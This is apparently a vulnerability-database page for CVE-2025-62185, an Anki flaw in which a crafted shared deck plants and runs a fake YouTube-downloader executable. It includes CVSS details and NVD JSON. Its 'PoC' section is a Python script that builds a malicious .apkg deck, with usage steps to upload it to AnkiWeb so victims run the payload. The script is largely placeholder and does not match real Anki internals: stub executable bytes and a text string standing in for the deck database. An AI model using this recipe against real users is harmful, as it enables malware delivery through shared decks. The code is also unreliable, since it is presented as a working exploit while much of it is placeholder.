Security Vulnerability Report
中文
CVE-2025-62185 CVSS 6.7 MEDIUM

CVE-2025-62185

Published: 2025-10-07 21:15:39
Last Modified: 2025-10-10 16:21:25

Description

In Ankitects Anki before 25.02.5, a crafted shared deck can place a YouTube downloader executable in the media folder, and this is executed for a YouTube link in the deck. The executable name could be youtube-dl.exe or yt-dlp.exe or yt-dlp_x86.exe.

CVSS Details

CVSS Score
6.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:ankitects:anki:*:*:*:*:*:*:*:* - VULNERABLE
Ankitects Anki < 25.02.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62185 PoC - Malicious Anki Deck with Fake YouTube Downloader # This PoC demonstrates how to create a malicious Anki shared deck (.apkg) # that exploits the unsafe executable loading vulnerability in Anki < 25.02.5 import zipfile import os import shutil from pathlib import Path # Step 1: Create a malicious executable disguised as a YouTube downloader # This could be any Windows executable (PE file) # For demonstration, we create a simple batch file renamed as .exe # In a real attack, this would be a compiled payload (e.g., reverse shell) def create_malicious_executable(): """Create a fake youtube-dl.exe payload""" payload = b"MZ\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00" payload += b"\xb8\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00" # In real exploit, this would be a full PE executable with malicious code # e.g., shellcode, reverse shell, credential stealer, etc. payload += b"MALICIOUS_PAYLOAD_HERE" * 100 return payload # Step 2: Create the Anki collection database with a YouTube card def create_collection_db(): """Create a minimal Anki collection with a YouTube link card""" # The card content must contain a YouTube URL to trigger the downloader execution card_front = "Watch this video: [sound:youtube-dl.exe]" card_back = "https://www.youtube.com/watch?v=dQw4w9WgXcQ" # In a real scenario, this would be a proper SQLite database (collection.anki2) return f"ANKI_COLLECTION_WITH_YOUTUBE_CARD: {card_front} | {card_back}".encode() # Step 3: Package the malicious deck def create_malicious_apkg(output_path="malicious_deck.apkg"): """Package the malicious executable and card data into an .apkg file""" with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as apkg: # Add the malicious executable to the media folder # Anki will extract this to collection.media directory apkg.writestr("youtube-dl.exe", create_malicious_executable()) # Alternative names that Anki looks for: # apkg.writestr("yt-dlp.exe", create_malicious_executable()) # apkg.writestr("yt-dlp_x86.exe", create_malicious_executable()) # Add the collection database with YouTube link cards apkg.writestr("collection.anki2", create_collection_db()) # Add media manifest (media mapping JSON) media_map = '{"0": "youtube-dl.exe"}' apkg.writestr("media", media_map.encode()) print(f"[+] Malicious deck created: {output_path}") print(f"[!] When imported into Anki < 25.02.5, the youtube-dl.exe will be") print(f"[!] extracted to collection.media/ and executed when YouTube card is viewed.") if __name__ == "__main__": create_malicious_apkg() # Usage: # 1. Run this script to generate malicious_deck.apkg # 2. Upload to AnkiWeb or share via any channel # 3. When victim imports the deck in Anki < 25.02.5 and views a YouTube card, # the malicious executable runs with the user's privileges

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62185", "sourceIdentifier": "[email protected]", "published": "2025-10-07T21:15:38.683", "lastModified": "2025-10-10T16:21:24.813", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Ankitects Anki before 25.02.5, a crafted shared deck can place a YouTube downloader executable in the media folder, and this is executed for a YouTube link in the deck. The executable name could be youtube-dl.exe or yt-dlp.exe or yt-dlp_x86.exe."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.4, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-427"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ankitects:anki:*:*:*:*:*:*:*:*", "versionEndExcluding": "25.02.5", "matchCriteriaId": "BFB0E5CE-8F6D-4E3B-8AE9-71561E0BAC24"}]}]}], "references": [{"url": "https://github.com/ankitects/anki/commit/5080451829505842b16d4a50f398ad44560a3e48", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/ankitects/anki/commit/6213c9b6f99ebda181004f8915b92fe3618b939", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://github.com/ankitects/anki/compare/25.02.4...25.02.5", "source": "[email protected]", "tags": ["Patch"]}]}}